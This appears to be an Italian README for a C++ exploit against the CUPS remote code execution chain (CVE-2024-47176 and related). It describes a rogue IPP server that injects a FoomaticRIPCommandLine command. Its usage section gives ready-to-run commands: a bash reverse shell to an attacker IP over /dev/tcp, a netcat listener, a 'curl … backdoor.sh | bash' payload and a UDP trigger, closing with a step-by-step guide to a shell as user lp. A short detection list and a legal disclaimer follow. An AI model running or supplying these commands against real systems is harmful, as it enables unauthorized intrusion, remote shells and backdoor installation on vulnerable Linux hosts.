
Exploit C++ per esecuzione remota di codice non autenticata su CUPS tramite la catena CVE-2024-47176.
Un proof-of-concept funzionante e completo che sfrutta la catena di vulnerabilità di esecuzione remota di codice in CUPS (Common Unix Printing System) scoperta a settembre 2024. Questa catena comprende quattro CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 e CVE-2024-47177 — che insieme permettono a un attaccante remoto non autenticato di eseguire comandi arbitrari su qualsiasi sistema Linux che esegue una versione vulnerabile di CUPS.
L'exploit distribuisce un server IPP (Internet Printing Protocol) fraudolento che simula una stampante di rete. L'attacco si svolge in quattro fasi:
Fase 1 — Attivazione della scoperta Un pacchetto UDP manipolato viene inviato alla porta 631 del bersaglio. Il demone cups‑browsed si fida di questo pacchetto senza autenticazione e avvia una connessione TCP verso il server IPP dell'attaccante per recuperare gli attributi della stampante.
Fase 2 — Consegna del PPD malevolo Il server IPP dell'attaccante risponde con attributi della stampante contenenti dati non sanificati. Questi dati attraversano libcupsfilters e libppd, che non li convalidano né sanificano, permettendo di inserire una direttiva FoomaticRIPCommandLine malevola in un file PPD.
Fase 3 — Iniezione di comandi Quando un lavoro di stampa viene inviato alla stampante controllata dall'attaccante (automaticamente o tramite azione dell'utente), il filtro foomatic‑rip elabora il file PPD ed esegue il comando iniettato con i privilegi dell'utente lp.
Fase 4 — Esecuzione del payload Il comando iniettato viene eseguito sul sistema bersaglio. I payload comuni includono reverse shell, installazione di backdoor, esfiltrazione di dati o preparazione per l'escalation dei privilegi.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
La maggior parte delle distribuzioni Linux era fornita con versioni affette fino alle patch di fine 2024.
Una macchina Linux con g++ e strumenti di sviluppo standard Accesso di rete al bersaglio (la porta UDP 631 deve essere raggiungibile) Il bersaglio deve eseguire cups-browsed in ascolto sulla porta UDP 631 Si consiglia l'uso di root o sudo per il binding sulla porta 631 (oppure utilizzare una porta alta come 1631)
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Nessuna dipendenza esterna. Si compila su qualsiasi distribuzione Linux con g++.
./cups_rce_exploit -l <IP_ATTACCANTE> -r [opzioni]
-l, --listener Indirizzo IP dell'attaccante per il server IPP fraudolento -r, --reverse Comando da eseguire sul bersaglio, o percorso di un file script -t, --target Indirizzo IP del bersaglio (invia automaticamente il pacchetto UDP di attivazione) -p, --port Porta per il server IPP fraudolento (default: 631) -s, --spoof Nome fittizio della stampante (default: VulnPrinter) -T, --target-port Porta UDP del bersaglio (default: 631) -h, --help Mostra il messaggio di aiuto
Terminale 1 — avvia il listener: nc -lvnp 4444
Terminale 2 — esegui l'exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Terminale 1 — avvia il server: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Terminale 2 — invia l'attivazione UDP al bersaglio: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Passo 1: Imposta un listener netcat sulla tua macchina attaccante nc -lvnp 4444
Passo 2: Compila l'exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Passo 3: Esegui l'exploit contro il bersaglio ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Passo 4: Se un utente sulla macchina bersaglio stampa una pagina di prova o qualsiasi documento sulla stampante fraudolenta, riceverai una reverse shell come utente lp.
Pacchetti UDP inaspettati sulla porta 631 contenenti stringhe URI IPP Connessioni TCP in uscita da cups-browsed verso host sconosciuti sulla porta 631 Stampanti sconosciute che appaiono automaticamente nell'interfaccia web di CUPS Processi generati da foomatic-rip o sotto l'utente lp
AVVISO LEGALE
Questo software è fornito esclusivamente a scopo educativo e di ricerca. È inteso ad aiutare professionisti della sicurezza, penetration tester e amministratori di sistema a comprendere, rilevare e difendersi dalle vulnerabilità descritte.
L'uso non autorizzato di questo exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta per i test è illegale e può violare il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act e leggi simili in altre giurisdizioni.
I casi d'uso autorizzati includono valutazioni di sicurezza su sistemi di propria proprietà, penetration test con autorizzazione scritta, programmi bug bounty con ambito esplicito, ricerca accademica in ambienti di laboratorio controllati e competizioni CTF.
L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili del rispetto di tutte le leggi applicabili e dell'ottenimento della corretta autorizzazione prima di eseguire test.
Utilizzando questo software, l'utente accetta questi termini.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org